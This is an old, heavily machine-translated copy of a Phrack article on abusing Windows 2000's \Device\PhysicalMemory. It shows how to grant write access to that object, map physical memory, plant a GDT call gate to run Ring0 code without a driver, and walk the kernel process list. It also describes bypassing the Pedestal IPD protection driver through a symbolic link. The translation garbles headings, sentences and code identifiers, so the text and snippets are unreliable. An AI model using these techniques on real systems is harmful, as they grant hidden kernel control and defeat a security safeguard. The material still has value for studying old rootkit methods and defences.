Windows NT 2000 Ring0 Code Implementation

xiaoxiao2021-03-06  85

Windows NT 2000 Ring0 Code Implementation

Ring0 code that doesn't have to drive in this Windows NT / 2000 is brothers

http://win32.51.net/cgi-bin/topic.cgi?forum=1&topic=4&show=0

Play Windows / DEV / (K) MEM (p59-0X10)

Creation time: 2002-08-15

Article attribute: translation

Article Source: http://www.xfocus.org/

Article submission: Refdom (Refdom_at_263.net)

Original: "Playing with Windows / DEV / (K) MEM" (P59-0X10)

Author: crazylord

Translation: Refdom

Email: refDom@xfocus.org (Refdom@263.net)

Homepage: http://www.xfocus.org /(Http://www.opengram.com/)

Date: 2002-8-11

(REFDOM Note: Some of the technologies provided herein have actually have many related articles before, but this article provides a very good deep

The idea of ​​the analysis is worth learning. )

1 Introduction

2, introduce the Windows object

2.1 What are they?

2.2 them

2.3 object operation

3, Introduction / Device / PhysicalMemory

3.1 object

3.2 Do you need to write permissions?

4, play / device / physicalmemory

4.1 Read / write memory

4.2 What is CallGate

4.3 Don't drive Run Ring0 code

4.4 In-depth process table

4.5 Bonus TRACK

5, code example

5.1 kmem.h

5.2 CHMOD_MEM.C

5.3 WinkDump.c

5.2 Winkps.c

5.4 fun_with_ipd.c

6 Conclusion

7, reference

--[ 1 Introduction

This article introduces Windows / dev / kmem, my research is implemented on Windows 2000 Professional, which means this article

Most code can run on the Windows 2000 version, slightly change, can also run on XP. Obviously Windows 9x / Me will not support,

Because their core structure is not the same.

- [2 Introduce Windows objects

Windows2000 uses an object model to provide a very simple way to operate most of the basic core elements. We can see these pairs in this section.

Icon and how to do it.

---- [2.1 What Are They?

According to Microsoft's statement, the design object manager will reach these purposes:

* Easy to identify named objects

* Support POSIX subsystem

* Provide convenient way to operating system resources

* Provide a filling mechanism to limit the resources used by the process

* Adapt to the requirements of C2 security.

There are 27 different object types:

* Adapter * file * semaphore

* Callback * oCompletion * SymbolicLink

* Controler * Job * Thread

* Desktop * Key * Timer

* Device * mutant * token

* Directory * Port * Type

* Driver * Process * Waitableport

* Event * Profile * WindowStation

* Eventpair * section * Wmiguid

Most of these objects can see what they are about from the command. I will explain some blurred names: * A EventPair is just 2 EVENT objects

* Mutant is also known as a mutex, is a synchronization mechanism for processing resource access.

* Port is an inter-processus communication by LPC (LOCAL Procedure Call).

* Semaphore is a counter restricted access to a counter

* Token (access token) is a security object

* WindowStation is a desktop object container.

These objects may be similar to the directory tree structure:

- /

- ArcName (Symbolic Links to Harddisk Partitions)

- NLS (Sections ...)

- Driver (Installed Drivers)

- Wmiguid

Device (/ dev Linux like)

- DMControl

- Rawdmvolumes

- HardDiskdmvolumes

- PhysicalDmvolumes

- Windows

- WindowStations

- RPC Control

- BasenaMedObjects

- Restricted

Current User Directory

- FileSystem (Information About Installable Files System)

- ObjectTypes (Contains All AvaiBect Types)

- Security

- Callback

- KNOWNDLLS (Contains Sections of Most Used DLL)

"??" directory is the current user directory, "Device" can be seen as a / dev on Linux. You can be on the sysinternals website

Find this structure.

---- [2.2 their structure

Each object contains two parts: object heads and object entities. Sven B. Schreiber in "Windows 2000 Undocument Secrets"

The book defined in the book, the head structure that was not open was expressed. We can take a look at these head structures.

---

From w2k_def.h:

Typedef struct _object_header {

/ * 000 * / dWord Pointercount; // Number of References

/ * 004 * / DWORD handlevount; // Number of Open Handles

/ * 008 * / POBJECT_TYPE OBJECTTYPE; // Pointer to Object Type Struct

/ * 00c * / byte nameoffset; // Object_name offset

/ * 00d * / byte handledboffset; // Object_handle_db offset

/ * 00e * / byte quotachargeSoffset; // Object_quota_charges offset

/ * 00f * / byte Objectflags; // ob_flag_ *

/ * 010 * / Union

{// ob_flag_create_info? ObjectcreateInfo: quotablock

/ * 010 * / pquota_block quotablock;

/ * 010 * / POBJECT_CREATE_INFO OBJECTCREATEINFO;

}

/ * 014 * / psecurity_descriptor security;

/ * 018 * /} Object_header, * pobject_header;

---

Each of the heads is negatively offset, so if you want to find the object_name structure from the head structure, you should calculate: address = Object_header_address - Name_offset

The Object_name structure allows the creator to make an object visible to other processes by assigning a name.

Object_handle_db structure allows core tracking current who is using this object.

Object_quota_charges structure is used to define quotas for access objects.

Object_type structure stores global information about object types, such as: default security permissions, object size, process used objects

Issue.

Object Binding security descriptors allow core to limit object access.

The internal programs of each object type are very close to constructors and descriptions in C objects:

* DUMP METHOD - may be to debug the purpose, always null

* Open method - is called when the object handle is turned on

* Close Method - is called when the object handle is turned off

* Delete method - is called when the object handle is deleted

* Parse Method - is called when querying the list of objects

* SECURITY METHOD - Calls when reading and writing the current object

* Query Method - When the thread query object name is called

* "OK to Close" - call when closing the handle

The structure of the object is completely relying entirely in the object type, and there is only a few part of the object structure in the DDK being disclosed. If you are in these structures

Interest, you can use Google or view Chapeaux-Noirs' home page (see [4])

--- [2.3 Object operation

From the viewpoint of user mode, the object operation is performed by the Windows API. For example, in order to access the file object, you can make

Use fopen () / open (), they call createfile (). We translate to core mode (ntcreatefile ()) in ntoskrnl.exe

Use IOCREATEFILE (). By reforring IOCREATEFILE (), some functions can be seen, such as ObopenObjectByname,

ObfdeReferenceObject, ...

(BTW: If you use Win2k Symbols downloaded in the DDK site (see [2]), you can only see these functions, support Windows Symbols

File contrauser, such as IDA / KD / Softice, because these functions are not exported. )

Each function begins with an OB, indicating that the object manager is related. Basically, ordinary developers don't have to deal with these objects, but we want

Go see.

For user mode, all object manager related functions can be output by NTDLL.DLL, there are some examples:

NtcreatedIRectoryObject, NTCreateSymbolicLinkObject, NTDUPLICATEOBJECT,

NTMAKETEMPORARYOBJECT, NTOPENDIRECTORYOBJECT, ...

Some functions are disclosed in MSDN, but most of them are not.

If you really want to understand the working method of the object, it is best to look at the OB-start function in ntoskrnl.exe. There are 21 export functions,

6 of them are open.

If you want to see other 15 prototypes, go to NTIFS.H's home page (see [3]) or go to ChapeauX-Noirs site (see [4]).

- [3 - Introduction / Device / PhysicalMemory

In order to view object information, we need a core debug tool similar to Microsoft DDK. Ok, let's start now ... Microsoft (R) Windows 2000 Kernel Debugger

Version 5.00.2184.1

CopyRight (c) Microsoft Corp. 1981-1999

Symbol Search Path IS: C: / WinNT / Symbols

Loading dump file [livekd.dmp]

Full kernel dump file

KERNEL VERSION 2195 UP FREE

KERNEL BASE = 0x80400000 psloadedModuleList = 0x8046a4c0

Loaded KDextx86 Extension DLL

Loaded Userkdx Extension DLL

Loaded DBGHELP EXTENSION DLL

F1919231 EB30 JMP F1919263

KD>! Object / Device / PhysicalMemory

! Object / Device / PhysicalMemory

Object: E1001240 TYPE: (FD038880) Section

ObjectHeader: E1001228

Handlecount: 0 Pointercount: 3

Directory Object: FD038970 Name: PhysicalMemory

An analysis of the basic object from KD (Kernel Debugger) tells us some information. Don't explain the meaning of all content, most of them

It's very clear that as long as you read the article, if not, please "jmp dord introduction_to_windows_Objects".

Interested, it is a section object, clearly showing that we have to handle memory. Now we have the head structure of the Dump object.

KD> DD E1001228 L 6

DD E1001228 L 6

E1001228 00000003 00000000 FD038880 12200010

E1001238 00000001 E1008BF8

DETAILS:

-> 00000003: Pointercount = 3

-> 00000000: Handlecount = 0

-> fd038880: Pointer to Object type = 0xfd038880

-> 12200010 -> 10: NameOffset

-> 00: HandledBoffset

-> 20: quotachargeoffset

-> 12: Objectflags = ob_flag_persmanent & ob_flag_kernel_mode

-> 00000001: Quotablock

-> E1008BF8: SecurityDescriptor

NameOffset exists, don't be surprised, this object has a name ... but there is no handledboffset. This means this object

Not tracking the assigned handle. Quotachargeoffset is not interesting, ObjectFlags tells us this object is a permanent object, and

Heart created.

There is still not very interesting to now ...

Dump's name structure of this object, just convinced that we didn't go wrong :). (Remember that the offset is negative)

KD> DD E1001228-10 L3

DD E1001228-10 L3

E1001218 FD038970 001C001C E1008AE8

-> fd038970: Pointer To Object Directory

-> 001C001C -> 001c: unicode_string.length -> 001c: unicode_string.maximumlength

-> E1008AE8: Unicode_String.Buffer (Pointer to Wide Char String)

KD> du e1008ae8

Du E1008AE8

E1008AE8 "PhysicalMemory"

I have something to do now, security descriptors:

KD>! SD E1008BF8

! SD E1008BF8

-> Revision: 0x1

-> SBZ1: 0x0

-> Control: 0x8004

SE_DACL_PRESENT

SE_SELF_RELATIVE

-> Owner: S-1-5-32-544

-> Group: S-1-5-18

-> DACL:

-> Dacl: -> ACLREVISION: 0x2

-> Dacl: -> SBZ1: 0x0

-> Dacl: -> aclsize: 0x44

-> Dacl: -> acecount: 0x2

-> Dacl: -> SBZ2: 0x0

-> Dacl: -> ace [0]: -> acetype: Access_allowed_Ace_type

-> Dacl: -> ace [0]: -> aceflags: 0x0

-> Dacl: -> ace [0]: -> acesize: 0x14

-> Dacl: -> ace [0]: -> Mask: 0x000f001f

-> Dacl: -> ace [0]: -> SID: S-1-5-18

-> Dacl: -> ace [1]: -> aceactype: access_allowed_ace_type

-> Dacl: -> ace [1]: -> aceflags: 0x0

-> Dacl: -> ace [1]: -> acesize: 0x18

-> Dacl: -> ace [1]: -> Mask: 0x0002000d

-> Dacl: -> ace [1]: -> SID: S-1-5-32-544

-> Sacl: Is Null

In short, this means that the / device / physicalmemory object has the following permissions:

User System: delete, Change Permissions, Change Owner, Query Data,

Query State, Modify State

User Administrator: Query Data, Query State

Basically, the admin user does not write, but SYSTEM can, this actually means that the administrator can do it!

Be sure to actually don't like / dev / kmem! ! In Linux / DEV / KMEM Mapping Virtual Memory, / Device / PhysicalMemory

Mapping physical memory, the more exact title this article should be "Playing with Windows / dev / Mem" because / dev / MEM mapping physical memory,

But / dev / kmem sounds more familiar. :)

As far as I know, when I wrote this article, the Section object structure has not been dissected yet, so we can't analyze its structure.

---- [3.2 "Write" authority?

Ok, we are user administrator, and intends to play the object of playing, what should I do? As most Windows administrators

As you know, you can run any process as a System user with the Schedule service. If you want to be sure you can, just start Schedule

"Net Start Schedule" and open a task to perform regedit.exe

C: /> at / intective regedit.exe you can try to see the SAM registry, if you can view it, then your system users, if you can't, you are still administrator

Because only the user's SYSTEM has read power.

Ok, if we are administrator users, but if we allow anyone to write / device / physicalmemory what will happen?

? (Of course, for the purpose of learning)

As long as we add another ACL to this object, you can. Follow the steps below:

1. Open / Device / PhysicalMemory handle (NTOPENSECTION)

2, find its security descriptor (GetSecurityInfo)

3. Add Read / Write Authorization in the current ACL (STENTRIESINACL)

4, update safety descriptor (SetSecurityInfo)

5, turn off the previously opened handle

Can refer to sample code: chmod_mem.c

When you run chmod_mem.exe, we will once again Dump / Device / PhysicalMemory's security descriptor.

KD>! Object / Device / PhysicalMemory

! Object / Device / PhysicalMemory

Object: E1001240 TYPE: (FD038880) Section

ObjectHeader: E1001228

Handlecount: 0 Pointercount: 3

Directory Object: FD038970 Name: PhysicalMemory

KD> DD E1001228 0x14 L1

DD E1001228 0x14 L1

E100123C E226E018

KD>! SD E226E018

! SD E226E018

-> Revision: 0x1

-> SBZ1: 0x0

-> Control: 0x8004

SE_DACL_PRESENT

SE_SELF_RELATIVE

-> Owner: S-1-5-32-544

-> Group: S-1-5-18

-> DACL:

-> Dacl: -> ACLREVISION: 0x2

-> Dacl: -> SBZ1: 0x0

-> Dacl: -> aclsize: 0x68

-> Dacl: -> acecount: 0x3

-> Dacl: -> SBZ2: 0x0

-> Dacl: -> ace [0]: -> acetype: Access_allowed_Ace_type

-> Dacl: -> ace [0]: -> aceflags: 0x0

-> Dacl: -> ace [0]: -> acesize: 0x24

-> Dacl: -> ace [0]: -> Mask: 0x00000002

-> Dacl: -> ace [0]: -> SID: S-1-5-21-1935655697-436374069-1060284298-500

-> Dacl: -> ace [1]: -> aceactype: access_allowed_ace_type

-> Dacl: -> ace [1]: -> aceflags: 0x0

-> Dacl: -> ace [1]: -> acesize: 0x14

-> Dacl: -> ace [1]: -> Mask: 0x000f001f

-> Dacl: -> ace [1]: -> SID: S-1-5-18

-> Dacl: -> ace [2]: -> acetype: access_allowed_ace_type

-> Dacl: -> ace [2]: -> aceflags: 0x0

-> DACL: -> ace [2]: -> acesize: 0x18

-> Dacl: -> ace [2]: -> Mask: 0x0002000d-> DACL: -> ace [2]: -> SID: S-1-5-32-544

-> Sacl: Is Null

The new ACE (Access-Control Entry) is ACE [0], with 0x00000002 permissions (section_map_write). need more

Information, you can view the Security Win32 API in MSDN [9]

- [4 - Turn / Device / PhysicalMemory

Why do you want to handle / device / physicalmemory? I can say to read, write, and repair memory. This is enough.

---- [4.1 Read and write memory

let us start……

In order to read and write / device / physicalmemory, you must:

1. Open the object handle (NTOPENSECTION)

2. Translate the virtual memory address for the physical address

3, mapping section to physical space (NTMapViewOfsection)

4, read and write data in the mapping memory

5. Turn off the Section Map (NTUNMAPVIEWOFSEC)

6, close the object handle (NTCLOSE)

Now our main purpose is how to transform the virtual memory address for the physical address. We know in the core mode (Ring0), there is a letter

MmgetPhysicalAddress (ntoskrnl.exe) can do. But now in Ring3, so we must come to "simulation" this

function.

---

From NTDDK.H

Physical_address mmgetphysicaladdress (void * baseaddress);

---

Physical_address is a Quad-Word (64 BITS). Originally planning to analyze assembly code at the beginning of the article, but it is too long

. The address transformation is also very common, I just want to make this topic soon.

The low position of Quad-Word is passed to EAX, and the high is passed to EDX. There are two ways to translate virtual addresses to physical addresses.

* Case 0x80000000 <= baseaddress <0xa0000000:

The only thing we have to do is just a 0x1fff000 mask virtual address.

* Case Baseaddress <0x80000000 && baseaddress> = 0xa0000000

This approach is a bit problem for us, because we don't have a way to transform the address in this range, because we need to read CR3

Record or run non-RING3 can be called assembly instructions. For more information, please refer to Intel Software Developer's Manual

Volume 3 (See [5]).

Elicz tells me that in his experience, you can guess a physical address offset mask, reserved the index of the part. Mask: 0xffff000

This is a lightweight version of MMGETPHYSICALALADDRESS ()

Physical_Memory MygetPhysicalAddress (Void * BaseAddress) {

IF (BaseAddress <0x80000000 || BaseAddress> = 0xa0000000) {

Return (BaseAddress & 0xfffff000);

}

Return (BaseAddress & 0x1fff000);

}

For the limit address boundary as [0x80000000, 0xA0000000] Mainly this situation cannot be more successfully guess. That's why

If you want more accurate, it is best to call the actual mmgetPhysicalAddress (). We can see how to do it in some chapters.

Please refer to the program: see winkdump.c

After using WinkDump, I realized that there is still another problem. When the virtual address of 0x877ef000 or more, the result of the physical address is 0x00000000077E0000 or more, but it is impossible in my system!

KD> DD MMHIGHESTPHYSICALPAGE L1

DD MMHIGHESTPHYSICALPAGE L1

8046A04C 000077EF

From now on, the last physical page is positioned at 0x0000000077EF0000. This means we can only dump a small piece of memory, but in short

The purpose of the text is to get a better understanding of how to use / device / PhysicalMemory, not just to make a good Memory Dumper.

Although the range of DUMP is the area mapped by Ntoskrnl.exe and Hal.dll (Hardware Abstract Layer), you can still

Do some tools to DUMP system call table:

KD>? keserviceDescriptable

KESERVICEDEScriptable

Evaluate Expression: -2142852224 = 8046AB80

0x8046AB80 is the system service table structure, like this:

Typedef struct _sst {

PDWORD ServiceTable; // Array of Entry Points

PDWORD CounterTable; // Array of Usage Counters

DWORD serviceLIMIT; // Number of Table Entries

PBYTE argumenttable; // array of byte counters

} SST, * PSST;

C: / coding / phrack / winkdump / release> winkdump.exe 0x8046AB80 16

*** WIN2K MEMORY DUMPER Using / Device / PhysicalMemory ***

Virtual Address: 0x8046AB80

Allocation Granularity: 65536 BYTES

OFFSET: 0xAb80

Physical address: 0x0000000000460000

Mapped size: 45056 bytes

View size: 16 bytes

D8 04 47 80 00 00 00 F8 00 00 00 BC 08 47 80 | ..g ......... g.

Array of Pointers to Syscalls: 0x804704d8 (Symbol Kiserventable)

Counter Table: NULL

ServiceLimit: 248 (0xF8) Syscalls

Argument Table: 0x804708BC (Symbol KiargumentTable)

We have not yet dump248 system calls address, just look at this:

C: / coding / phrack / winkdump / release> winkdump.exe 0x804704d8 12

*** WIN2K MEMORY DUMPER Using / Device / PhysicalMemory ***

Virtual Address: 0x804704d8

Allocation Granularity: 65536 BYTES

OFFSET: 0x4D8

Physical address: 0x0000000000470000

Mapped size: 4096 bytes

View size: 12 bytes

BF B3 4A 80 6B E8 4A 80 F3 DE 4B 80 | ..j.k.j ... k. * 0x804ab3bf (NTACCEPTCONNECTPORT)

* 0x804ae86b (NTACcessCheck)

* 0x804BDEF3 (NTACcessCheckandauditaram)

In the following section, we will understand what is Callgate, and how we use them to solve it.

Just the problem of address transformation.

---- [4.2 What is CallGate

Callgate is a mechanism that allows programs to run at higher permissions than it. For example, RING3 program can be executed

Ring0 code.

To create a CallGate, you must specify:

1) What Ring is required to do code?

2) Function addresses that will be performed when jumping to RING0

3) Parameters pass to the function

When CallGate is accessed, the processor first checks, saves the current SS, ESP, CS, EIP registers, and then

Load Segment Selector and new stack pointer (Ring0 stack), from TSS to SS, EIP register. This pointer can be reflected in the new

Ring0 stack. The SS and ESP registers are copied in the PUSH to the stack, and the parameters are copied. CS and EIP (saved) Push to the stack to call the call

Sequence to a new stack. The new Segment Selector is loaded to handle new code snippets from CallGate to CS and EIP and

Instruction pointer. Finally, it jumps to the function address specified when creating Callgate.

Once completed, the function executed in RING0 must clear your stack, which is why we define a function in your code.

To use _Declspec (Naked) (MS VC 6) (similar to __attribute __ (stdcall) in GCC)

---

From msdn:

__DECLSPEC (Naked) Declarator

For functions declared with Naked, the compiler does not produce ProLog and Epilog code. You can use these features to compile by inline

The code is written in your own proLog and Epilog code.

---

To learn more about Callgate, please refer to Intel Software Developer's Manual Volume 1 ([5]).

In order to install a CallGate, there are two options: manual in GDT looking for new empty entrances, used to place our CallGate;

Or in ntoskrnl.exe's undisclosed function, these functions can only be accessed in RING0. Since we are not Ring0, there is no

Too many use, but I still explain:

NTSTATUS Kei386allocategdtselectors (Ushort * Selectorarray,

Ushort nselectors;

NTSTATUS Kei386ReleaseGdtselectors (Ushort * Selectorarray,

Ushort nselectors;

NTSTATUS Kei386SETGDTSELECTOR (Ushort Selector,

Pvoid ​​descriptor;

From their name, you can know its role. :) So, if you intend to install a CallGate, first use

Kei386allocategdtselectors () Assign a GDT Selector and then sets with KEI386SETGDTSELector. after finishing,

Released by Kei386ReleaseGDTSelectors. This is also very interesting, but it doesn't meet our needs. So when Ring3 is executed, you need to set a GDT Selector.

This is close to / device / physicalmemory. In the next section, I will explain how to use / Device / PhysicalMemory to install CallGate.

---- [4.3 Don't drive Run Ring0 code

The first question, "Why doesn't Ring Ring0 code don't need to be driven with device?"

advantage:

* No need to register SCM

* Secret code

Disadvantages:

* The code cannot be stable as the device driver

* Need to add write permissions to / device / PhysicalMemory

So I have to keep it, when running Ring0 code via / device / physicalmemory, you will encounter a lot of difficulties.

Now we can write memory and we know that we can use CallGate to run Ring0, then what are you waiting for?

First, we need to know what part of the section maps to read the GDT table. This is not a problem, because we can access global descriptions

The final record is compiled through the SGDT.

Typedef struct _kgdtenTry {

Word LimitLow; // Size in bytes of the GDT

Word Baselow; // Address of GDT (Low Part)

Word Basehigh; // Address of GDT (High Part)

} KGDTENTRY, * PKGDTENTRY;

KGDT_ENTRY GGDT;

_ASM SGDT GGDT; // Load Global Descriptor Table Register INTO GGDT

We translate the virtual address from BaseLow / BaseHigh to physical address, then we close the base address of the GDT table. We are fortunate, ie

The GDT table address is not within our "imagination", it can also be converted correctly (99% possible)

PhysicalAddress = getPhysicalAddress (ggdt.basehigh << 16 | ggdt.baselow);

NTMapViewOfsection (SectionHandle,

ProcessHandle,

Baseaddress, // Pointer to mapped memory

0L,

GGDT.Limitlow, // size to map

& PhysicalAddress,

& Viewsize, // Pointer to mapped size

Viewshare,

0, // Allocation Type

Page_readwrite; // Protection

Finally, we looped the address to find an idle selector, by viewing "Present" in the CallGate descriptor structure.

mark.

Typedef struct _callgate_descriptor {

Ushort offset_0_15; // low part of the function address

Ushort selector;

Uchar param_count: 4;

Uchar Some_bits: 4;

Uchar Type: 4; // segment or gate type

Uchar app_system: 1; // segment descriptor (0) or system segment (1)

Uchar DPL: 2; // Specify Which Privilege Level Can Call IT

Uchar present: 1;

Ushort offset_16_31; // high part of the function address} Callgate_Descriptor, * pcallgate_descriptor;

Offset_0_15 and offset_16_31 is exactly the low and high position of the function address. Selector can be one of the following:

--- from NTDDK.H

#define KGDT_NULL 0

#define kgdt_r0_code 8 // <- what we need (Ring0 code)

#define kgdt_r0_data 16

#define kGDT_R3_CODE 24

#define kgdt_r3_data 32

#define kgdt_tss 40

#define kGDT_R0_PCR 48

#define kgdt_r3_teb 56

#define kgdt_vdm_tile 64

#define KGDT_LDT 72

#define KGDT_DF_TSS 80

#define KGDT_NMI_TSS 88

---

Once CallGate is installed, there is still two steps to get the highest RING0 power: write our CallGate calls and calls

Callgate.

As mentioned in 4.2, we need to write a function and have Ring0's Prolog / Epilog, and we need yourself.

Clear the stack. Take a look at the sample code below:

Void __declspec (naked) Ring0Func () {// out function:]

// Ring0 Prolog

_asm {

Pushad // Push EAX, ECX, EPX, EBX, EBP, ESP, ESI, EDI ONTO THE Stack

Pushfd // Decrement Stack Pointer by 4 and Push Eflags Onto The Stack

CLI // Disable Interrupt

}

// Execute Your Ring0 Code Here ...

// Ring0 Epilog

_asm {

POPFD // Restore Registers Pushed by Pushfd

POPAD // Restore Registers Pushed by Pushhad

RETF // You May Retf if You Pass Arguments

}

}

Push all registers to the stack allow us to save all registers when Ring0 code is executed.

There is another step, call CallGate ......

A basic call does not apply to a CallGate program that is actually in Ring3 in Ring3. We need "FAR CALL"

(Inter-Privilege Level Call), so in order to call Callgate, you must do this:

Short farcall [3];

Farcall [0 -> 1] = offset from the target Operand. this is ignored when a

Callgate is buy accounting to "IA-32 Intel Architecture Software

Developer's Manual (Volume 2) "(See [5]).

Farcall [2] = Callgate Selector

At this time, we can call your own Callgate through the inline.

_asm {

Push arg1

...

Push argn

Call fword ptr [farcall]

}

I forgot to remind, in the Callgate function, the first parameter of FarCall is located in [EBP 0CH]. ---- [4.4 In-depth process list

Now we can see how to use the lowest level to list the core processes. This purpose is to create one under low levels

Core process enumeration procedure, can be used to see the process hidden by rootkit (modified Taskmgr.exe, system call hook, etc.)

- Process32First / Process32Next, the simplest open path (normally)

- Use the NTQuerySystemInformation, Native API of Class 5. Although there is no disclosure, there are many examples on the Internet.

Level-1)

- With ExpGetProcessInformation, it is actually called by NTQuerySystemInformation (Level-2)

- Read the two-way linked list PSactiveProcesshead (level -3)

Now we have enough deeper. This two-way linked table looks like this:

APL (f): ActiveProcessLinks.flink

APL (b): ActiveProcessLinks.blink

Process1 Process2 Process3 Processn

0x000 | ------------ | ------------ |

| EProcess | | EPROCESS | | EPRocess |

| ... | | ... | | ... |

0x0A0 | APL (f) | -----> | APL (f) | -----> | APL (f) | -----> ...

0x0A4 | APL (b) | / - <- | APL (b) | / - <- | APL (b) | / - <- ...

| ... | | ... | | ... |

| ---------- | | ---------- | ---------- |

As you can see (maybe my diagram is not good), the NEXT / PREV pointer of the ActiveProcessLinks structure is not _eprocess

Structural pointer. They point to another list_entry structure. This means that if we have to get the _eprocess structure address, you must adjust

Section pointer.

(Please study the _eprocess structure defined in the routine ")

List_entry ActiveProcessLinks is located in the _eprocess structure of the offset 0x0A0:

-> Flink = 0x0a0

-> BLINK = 0x0A4

Therefore, we can create some macros for use:

#define to_eprocess (_A) ((char *) _A - 0xA0) // FLINK to _EPROCESS

#define to_pid (_A) ((char *) _A - 0x4) // Flink to uniqueProcessid

#define to_pname (_A) ((char *) _A 0x15c) // Flink to ImageFileName

The head of the list_entry linked list is PSACTIVEPROCESSHEAD. You can get its address with KD:

KD>? PSactiveProcessheadhead

PSACTIVEPROCESSHEAD

Evaluate Expression: -2142854784 = 8046A180

Just know one thing. This chain list is very fast, you can lock it before reading it. The following procedure is read with compilation

ExpGetProcessInformation:

MOV ECX, Offset_PspactiveProcessMutexCall DS: __ IMP_ @ ketacquirefastmutex @ 4

[...]

MOV ECX, Offset_PspActiveProcessmutex

Call DS: __ ivp_ @ exreleasefastmutex @ 4

ExacquirefastMuteX and ExreleaseFastMutex are defined as _fastcall, so the parameters are in the reverse order

(EXC, EDX, ...). They are output at HAL.DLL. BTW, I didn't lock in Winkps.c.

First we install a CallGate to perform a Ring0 function (MMGETPHYSICALALADDRESS AND

ExacquirefastMutex / ExceptMutex, then we enumerate the process and finally remove the callgate.

Please see Winkps.c

As you see in routines, install Callgate is a simple step. The difficult part is to read the List_Entry structure. This is a bit strange,

Because reading a linked list should not be like assumed, it is clear that we are handling physical memory.

First avoid using too much CallGate, you should use it less as possible. Remember, running Ring0 code in Ring3 is not a "good thing". in

The allocation level of thread execution will have problems, second, your thread (I think) will have lower priority than device driver, even if you make

Use setthreadpriority ().

Scheduling program is based on two things to schedule, the basic priority of the process and the current priority, when you use Win32 API setthreadPriority ()

Modify the priority of the thread, the current priority is changed, but it is just relative to basic priority. In Ring3, there is no way to go

Change the basic priority of the process.

In order not to take all the section of the project, I only map 1MB sections when I need it. I think this is the best way.

Because most EPROCESS structures are positioned within the 0xFCE ***** to 0xFCF *****.

C: / Coding / Phrack / Winkps / Release> Winkps

*** Win2k Process Lister ***

Allocation Granularity: 65536 BYTES

MmgetphysicalAddress: 0x804374e0

Virtual Address of GDT: 0x80036000

Physical Address of GDT: 0x0000000000036000

Allocated segment: 3FB

Mapped 0xb000 bytes @ 0x00430000 (INIT SIZE: 0xA184 BYTES)

Mapped 0x100000 BYTES @ 0x0043e000 (INIT Size: 0x100000 Bytes)

8 System

Mapped 0x100000 Bytes @ 0x0054e000 (INIT SIZE: 0x100000 Bytes)

136 SMSS.exe

160 CSRSS.exe

156 Winlogon.exe

208 Services.exe

220 lsass.exe

420 Regsvc.exe

436 SVCHOST.EXE

480 svchost.exe

524 Winmgmt.exe

Mapped 0x100000 Bytes @ 0x0065e000 (INIT SIZE: 0x100000 Bytes)

656 Explorer.exe 764 Osa.exe

660 mdm.exe

752 cmd.exe

532 msdev.exe

604 ssh.exe

704 Livekd.exe

716 i386kd.exe

448 uedit32.exe

260 Winkps.exe

3 Sections mapping 1 To select the first process queue look good. I will carefully describe in Winkps.c, but

It is best to take time to read the code.

Winkps.c process

- getSysteminfo ()

First allocate the interval of the system (used to calculate the offset of address transformation)

- loadingLibrary ()

Get the mmgetPhysicalAddress address in ntoskrnl.exe. This can also be done by breaking down the PE header.

- NTOPENSECTION

R / W Open / Device / PhysicalMemory

- installcallgate ()

Map Section to install and delete CallGate, and use the second parameter as the CallGate function to install.

- DisplayProcess ()

Main loop. Capture errors via an exception. I do this is to try to clear CallGate even if there is a fault of closer access.

Mistake (wrong mapping)

- uninstallcallgate ()

Delete CallGate, cancel mapping

- NTClose ()

Simply close handle

Now, you should read the code and try to override WinkDump.c and use to support CallGate better address transformation. :>

---- [4.5 Bonus TRACK

What I can know is that now the only product is limited to / device / physicalMemory is "Integrity Protection"

Driver (ipd) "Pedestal Software (see [6]).

---

From readme:

The ipd forbids any process from Opening / Device / PhysicalMemory.

---

Oh, use IPD, we have to contact / device / physicalmemory, I don't know if this product is famous, but no

On how, I have to bypass it. To restrict access / device / physicalmemory, IPD hook Zwopensection (),

And check if section is not opened by calling / device / physicalMemory.

---

From h_mem.c

IF (restrictnabled ()) {

IF (ObjectAttributes && ObjectAttributes-> Objectname &&

Objectattributes-> Objectname-> length> 0) {

IF (_wcsicmp (Objectttributes-> Objectname-> buffer,

L "// device // physicamemory") == 0) {

Wchar BUF [200];

SWPRINTF (BUF,

L "Blocking Device / PhysicalMemory Access,

Procid = 0x% x / n ", psgetcurrentprocessid ());

Debugoutput (buf);

Return status_access_denied;

}

}

}

---

_WCSICMP () provides two cases of Unicode Buffer, so we find ways to open objects with other names. In the first quarter, we have seen the Symbolic Link object type, so if we can connect with the Symbolic Link object

/ Device / PhysicalMemory, isn't that good?

You can find a function called "NTCreateSymbolicLinkObject" by viewing NTDLL.DLL.

It is interesting to do so, it is not disclosed. Its prototype is similar:

NTSTATUS NTCREATESYMBOLICLICLICLICOBJECT (Phandle SymlinkHandle,

Access_mask desiredAccess,

POBAT_ATTRIBUTES OBATTRIBUTES,

Punicode_String Obname;

Therefore, we only need to call this function with "/ device / physicalmemory" as Obname, and in Object_Attributes

Set new names in the structure. We use "/ ?? /" as the root directory of the object, then the name is: "/? / Hack_DA_IPD".

At first, I asked myself to call NTOPENSEC using "/ ?? / hack_da_ipd", how to handle Symbolic Link.

If NTOPENSECTION checks the target object is a symbolic link, then call NTOPENSECTION again, and use the object

Real name, our Symbolic Link is useless because IPD can detect. So I followed:

---

[...]

3 NTCreateSymbolicLinkObject (0x1, {24, 0, 0x40, 0, 0,

"/? / HACK_DA_IPD"}, 1245028, ... 48,) == 0x0

4 NTallocatevirtualMemory (-1, 12444448, 0, 1244480, 4096, 4, ...) == 0x0

5 NtrequestWaitreport (36, {124, 148, 0, 16711934, 42222620, 256, 0}, ...

{124, 148, 2, 868, 840, 7002, 0},) == 0x0

6 NTOPENSECTION (0x4, {24, 0, 0x40, 0, 0, "/ ?? / hack_da_ipd"}, ... 44,)

== 0x0

7 ntrequestwaitreport (36, {124, 148, 0, 868, 840, 7002, 0}, ... {124,

148, 2, 868, 840, 7003, 0},) == 0x0

8 NTClose (44, ...) == 0x0

9 NtClose (48, ...) == 0x0

[...]

---

(Windows version of Strace can be found in Bindview's Razor site. [7])

As you can see, the NTOPENSECTION function will not re-reset yourself to handle real object names, which is great! such,

/ Device / PhysicalMemory is completely us, and ipd is very bad. Remember, you must run the program under System users.

- [5 sample code license:

Sample Code Provided with The Article May Be Copied / Duplicated and Modified

IN ANY FORM As long as this copyright is prepended unmodified.

Code Are Proof of Concept and The Author Can and Must Not Be Made

Responsible for Any Damage / Data Loss.

Use this code at your ing risk.

Crazylord / CNS

---- [5.1 kmem.h

Typedef struct _unicate_string {

Ushort Length;

Ushort maximumlength;

PWSTR BUFFER;

} Unicode_string, * punicode_string;

#define obj_case_insensitive 0x00000040L

#define obj_kernel_handle 0x00000200L

